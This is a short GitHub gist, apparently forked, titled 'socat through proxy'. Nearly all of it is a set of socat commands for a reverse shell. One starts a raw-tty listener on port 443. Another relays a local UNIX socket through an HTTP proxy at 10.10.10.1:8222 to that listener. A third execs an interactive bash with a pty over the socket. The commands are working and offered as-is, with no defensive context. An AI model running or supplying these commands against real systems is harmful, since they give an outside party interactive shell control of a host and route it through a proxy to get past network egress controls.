Skip to content

Instantly share code, notes, and snippets.

@explooosion
Forked from staaldraad/socat through proxy
Created February 4, 2026 18:17
Show Gist options
  • Select an option

  • Save explooosion/8d63e0cec4bfac7a19444ab8834ae8ef to your computer and use it in GitHub Desktop.

Select an option

Save explooosion/8d63e0cec4bfac7a19444ab8834ae8ef to your computer and use it in GitHub Desktop.
# Listener on x.x.x.x:443:
socat file:`tty`,raw,echo=0 tcp-listen:443
# Reverse shell proxy server is at 10.10.10.1:8222:
socat UNIX-LISTEN:/tmp/x,reuseaddr,fork PROXY:10.10.10.1:x.x.x.x:443,proxyport=8222 &
socat exec:'bash -li',pty,stderr,setsid,sigint,sane unix:"/tmp/x"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment